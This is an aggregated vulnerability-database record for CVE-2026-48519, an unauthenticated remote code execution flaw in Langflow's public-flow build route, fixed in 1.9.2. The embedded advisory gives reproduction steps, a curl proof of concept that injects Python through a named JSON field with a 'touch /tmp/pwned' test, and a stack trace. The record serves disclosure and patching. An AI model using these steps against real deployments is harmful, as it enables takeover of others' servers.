{"id":"CVE-2026-48519","aliases":["EUVD-2026-38514","GHSA-v5ff-9q35-q26f","PYSEC-2026-243"],"status":"published","title":"Langflow: Unauthenticated RCE in Shareable Playgrounds","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.","severity":{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00783,"percentile":0.56342,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-94"],"published":"2026-06-16T17:35:32Z","modified":"2026-10-28T02:31:00Z","exploits":[{"source":"pocgithub","id":"lukehebe/IBM-Langflow-CVE-2026-48519-poc","title":"lukehebe/IBM-Langflow-CVE-2026-48519-poc","date":"2026-09-22","url":"https://github.com/lukehebe/IBM-Langflow-CVE-2026-48519-poc"}],"fixes":[{"ecosystem":"PyPI","package":"langflow","fixed_in":["1.9.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"langflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.9.1"},{"fixed":"1.9.2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"langflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.2"}]}],"versions":["0.0.31","0.0.32","0.0.33","0.0.40","0.0.44","0.0.45","0.0.46","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.78","0.0.79","0.0.80","0.0.81","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.1.0","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.14","0.4.15","0.4.16","0.4.17","0.4.18","0.4.19","0.4.2","0.4.20","0.4.21","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.0a0","0.5.0a1","0.5.0a2","0.5.0a3","0.5.0a4","0.5.0a5","0.5.0a6","0.5.0b0","0.5.0b2","0.5.0b3","0.5.0b4","0.5.0b5","0.5.0b6","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.0rc1","0.6.1","0.6.10","0.6.11","0.6.12","0.6.14","0.6.15","0.6.16","0.6.17","0.6.18","0.6.19","0.6.2","0.6.3","0.6.3a0","0.6.3a1","0.6.3a2","0.6.3a3","0.6.3a4","0.6.3a5","0.6.3a6","0.6.3a7","0.6.4","0.6.4a0","0.6.4a1","0.6.5","0.6.5a0","0.6.5a1","0.6.5a10","0.6.5a11","0.6.5a12","0.6.5a13","0.6.5a2","0.6.5a3","0.6.5a4","0.6.5a5","0.6.5a6","0.6.5a7","0.6.5a8","0.6.5a9","0.6.6","0.6.7","0.6.7a1","0.6.7a2","0.6.7a3","0.6.7a5","0.6.8","0.6.9","1.0.0","1.0.0a0","1.0.0a1","1.0.0a10","1.0.0a11","1.0.0a12","1.0.0a13","1.0.0a14","1.0.0a15","1.0.0a17","1.0.0a18","1.0.0a19","1.0.0a2","1.0.0a20","1.0.0a21","1.0.0a22","1.0.0a23","1.0.0a24","1.0.0a25","1.0.0a26","1.0.0a27","1.0.0a28","1.0.0a29","1.0.0a3","1.0.0a30","1.0.0a31","1.0.0a32","1.0.0a33","1.0.0a34","1.0.0a35","1.0.0a36","1.0.0a37","1.0.0a38","1.0.0a39","1.0.0a4","1.0.0a40","1.0.0a41","1.0.0a42","1.0.0a43","1.0.0a44","1.0.0a45","1.0.0a46","1.0.0a47","1.0.0a48","1.0.0a49","1.0.0a5","1.0.0a50","1.0.0a51","1.0.0a52","1.0.0a53","1.0.0a55","1.0.0a56","1.0.0a57","1.0.0a58","1.0.0a59","1.0.0a6","1.0.0a60","1.0.0a61","1.0.0a7","1.0.0a8","1.0.0a9","1.0.0rc0","1.0.0rc1","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.19.post1","1.0.19.post2","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.4.post1","1.2.0","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.5.0.post1","1.5.0.post2","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.1","1.7.2","1.7.3","1.8.0","1.8.0rc0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.0rc5","1.8.0rc6","1.8.1","1.8.2","1.8.3","1.8.3rc0","1.8.4","1.9.0","1.9.1"]},{"source":"osv","ecosystem":"PyPI","package":"langflow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.2"}]}],"versions":["0.0.31","0.0.32","0.0.33","0.0.40","0.0.44","0.0.45","0.0.46","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.78","0.0.79","0.0.80","0.0.81","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.1.0","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.14","0.4.15","0.4.16","0.4.17","0.4.18","0.4.19","0.4.2","0.4.20","0.4.21","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.0a0","0.5.0a1","0.5.0a2","0.5.0a3","0.5.0a4","0.5.0a5","0.5.0a6","0.5.0b0","0.5.0b2","0.5.0b3","0.5.0b4","0.5.0b5","0.5.0b6","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.0rc1","0.6.1","0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Advisory","advisory","web","evidence"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48519","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-243.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-v5ff-9q35-q26f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48519.json","tags":["advisory"]},{"url":"https://github.com/langflow-ai/langflow","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-48519","title":"Langflow: Unauthenticated RCE in Shareable Playgrounds","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.","status":"published","published":"2026-06-23T16:25:09.927Z","modified":"2026-06-24T03:56:21.994Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:50:49.872037Z"}],"euvd":[{"id":"EUVD-2026-38514","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.","status":"published","published":"2026-06-23T16:25:09Z","modified":"2026-06-24T03:56:21Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:20:31.123469Z"}],"ghsa":[{"id":"GHSA-v5ff-9q35-q26f","title":"Langflow: Unauthenticated RCE in Shareable Playgrounds","description":"### Summary\nThe \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability.\nSimply sharing a flow exposes the deployment to RCE risk by authenticated users.\n\nTested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe\n\n### Details\nShareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.\nSpecifically, it enables the route `/api/v1/build_public_tmp` to execute any public flow, given a public flow ID.\nWhen the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!\n\nThe vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.\n\n### PoC\nReproduction:\n1. Create a new flow and add a Chat Input node to it\n2. Share the flow (\"Shareable Playground\")\n3. Access the public link with the browser developers tools open and execute the flow.\n4. Find the `/api/v1/build_public_tmp` route and copy as cURL\n5. Edit the `data.nodes[X].data.node.template.code.value` JSON field with any python code and run the cURL command.\n\nExample PoC (replace flow ID with the correct one), and download [test_with_python.json](https://github.com/user-attachments/files/25159927/test_with_python.json):\n```bash\ncurl 'http://localhost:7860/api/v1/build_public_tmp/\u003cflow-id\u003e/flow?start_component_id=ChatInput-syEJp\u0026log_builds=false\u0026event_delivery=streaming' \\\n  -H 'Content-Type: application/json' \\\n  -b 'client_id=anything' \\\n  --data-raw \"$(cat test_with_python.json)\"\n```\nSearch for `touch /tmp/pwned` in the `test_with_python.json` and edit for any other code.\n\n\n\nThe stacktrace for the code executed is:\n```\n...\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 495, in generate_flow_events\n    ids, vertices_to_run, graph = await build_graph_and_get_order()\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 234, in build_graph_and_get_order\n    graph = await create_graph(fresh_session, flow_id_str, flow_name)\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 298, in create_graph\n    return await build_graph_from_data(\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py\", line 192, in build_graph_from_data\n    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get(\"user_id\"))\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1153, in from_payload\n    graph.add_nodes_and_edges(vertices, edges)\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 270, in add_nodes_and_edges\n    self.initialize()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 512, in initialize\n    self._build_graph()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1305, in _build_graph\n    self._instantiate_components_in_vertices()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1347, in _instantiate_components_in_vertices\n    vertex.instantiate_component(self.user_id)\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py\", line 382, in instantiate_component\n    self.custom_component, _ = initialize.loading.instantiate_class(\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py\", line 45, in instantiate_class\n    custom_component: CustomComponent | Component = class_object(\n  File \"\u003cstring\u003e\", line 59, in __init__\n```\n\n### Impact\nUnauthenticated RCE on any deployment with a shareable playground.\n\n\n\nOri Lahav\nSecurity Researcher @ Rubrik Inc.","status":"published","published":"2026-06-16T17:35:32Z","modified":"2026-07-20T13:42:13Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:40:46.257074Z"}],"nvd":[{"id":"CVE-2026-48519","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.","status":"published","published":"2026-06-23T17:17:01.24Z","modified":"2026-10-26T11:10:00.157Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:25.288279Z"}],"osv":[{"id":"CVE-2026-48519","title":"Langflow: Unauthenticated RCE in Shareable Playgrounds","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.","status":"published","published":"2026-06-23T16:25:09.927Z","modified":"2026-10-28T02:31:00.315241934Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:06.701612Z"},{"id":"GHSA-v5ff-9q35-q26f","title":"Langflow: Unauthenticated RCE in Shareable Playgrounds","description":"### Summary\nThe \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability.\nSimply sharing a flow exposes the deployment to RCE risk by authenticated users.\n\nTested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe\n\n### Details\nShareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.\nSpecifically, it enables the route `/api/v1/build_public_tmp` to execute any public flow, given a public flow ID.\nWhen the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!\n\nThe vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.\n\n### PoC\nReproduction:\n1. Create a new flow and add a Chat Input node to it\n2. Share the flow (\"Shareable Playground\")\n3. Access the public link with the browser developers tools open and execute the flow.\n4. Find the `/api/v1/build_public_tmp` route and copy as cURL\n5. Edit the `data.nodes[X].data.node.template.code.value` JSON field with any python code and run the cURL command.\n\nExample PoC (replace flow ID with the correct one), and download [test_with_python.json](https://github.com/user-attachments/files/25159927/test_with_python.json):\n```bash\ncurl 'http://localhost:7860/api/v1/build_public_tmp/\u003cflow-id\u003e/flow?start_component_id=ChatInput-syEJp\u0026log_builds=false\u0026event_delivery=streaming' \\\n  -H 'Content-Type: application/json' \\\n  -b 'client_id=anything' \\\n  --data-raw \"$(cat test_with_python.json)\"\n```\nSearch for `touch /tmp/pwned` in the `test_with_python.json` and edit for any other code.\n\n\n\nThe stacktrace for the code executed is:\n```\n...\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 495, in generate_flow_events\n    ids, vertices_to_run, graph = await build_graph_and_get_order()\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 234, in build_graph_and_get_order\n    graph = await create_graph(fresh_session, flow_id_str, flow_name)\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 298, in create_graph\n    return await build_graph_from_data(\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py\", line 192, in build_graph_from_data\n    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get(\"user_id\"))\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1153, in from_payload\n    graph.add_nodes_and_edges(vertices, edges)\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 270, in add_nodes_and_edges\n    self.initialize()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 512, in initialize\n    self._build_graph()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1305, in _build_graph\n    self._instantiate_components_in_vertices()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1347, in _instantiate_components_in_vertices\n    vertex.instantiate_component(self.user_id)\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py\", line 382, in instantiate_component\n    self.custom_component, _ = initialize.loading.instantiate_class(\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py\", line 45, in instantiate_class\n    custom_component: CustomComponent | Component = class_object(\n  File \"\u003cstring\u003e\", line 59, in __init__\n```\n\n### Impact\nUnauthenticated RCE on any deployment with a shareable playground.\n\n\n\nOri Lahav\nSecurity Researcher @ Rubrik Inc.","status":"published","published":"2026-06-16T17:35:32Z","modified":"2026-07-20T14:00:25.686242559Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:56.639206Z"},{"id":"PYSEC-2026-243","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.","status":"published","published":"2026-06-23T17:17:01.24Z","modified":"2026-06-27T11:15:05.22354616Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}